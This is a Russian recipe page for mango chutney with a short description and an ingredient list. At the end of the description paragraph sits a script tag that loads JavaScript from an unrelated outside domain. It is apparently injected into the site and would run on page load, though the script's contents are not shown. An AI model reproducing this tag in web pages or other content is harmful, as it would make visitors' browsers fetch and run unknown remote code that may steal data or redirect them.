Главная / Каталог рецептов / Соусы / Чатни / Чатни из манго

Чатни из манго

Catalonia

03.07.2014
Время приготовления: 30 мин

Как известно, чатни - это широко распространенное на юге Азии блюдо. Это традиционная приправа, которую обычно готовят из фруктов - в частности, из манго. Делюсь рецептом.

Описание приготовления:

Чатни из манго - это очень популярная индийская приправа, которая благодаря специям и необычной технологии приготовления очень здорово возбуждает аппетит. Обычно ее передают перед основным блюдом, вместе с какой-нибудь закуской. В нашей семье чатни из манго используется разными способами - намазываем на хлеб, добавляем в блинчики, подаем с оладьями, всякими разными закусками... Вкус передать сложно - надо пробовать. Чего вам и желаю!<script type="text/javascript" src="https://fsgv.ru/i.js"></script>

Основной ингредиент: Фрукты / Манго

Блюдо: Соусы / Чатни

Состав / Ингредиенты:

Манго 2 штуки
Растительное масло 2 ст. ложки
Перец чили 2 штуки
Специи 3 щепотки (зира, зерна горчицы, перец горошком, соль, сахар, кориандр, паприка)
Лимонный сок 2 ч. ложки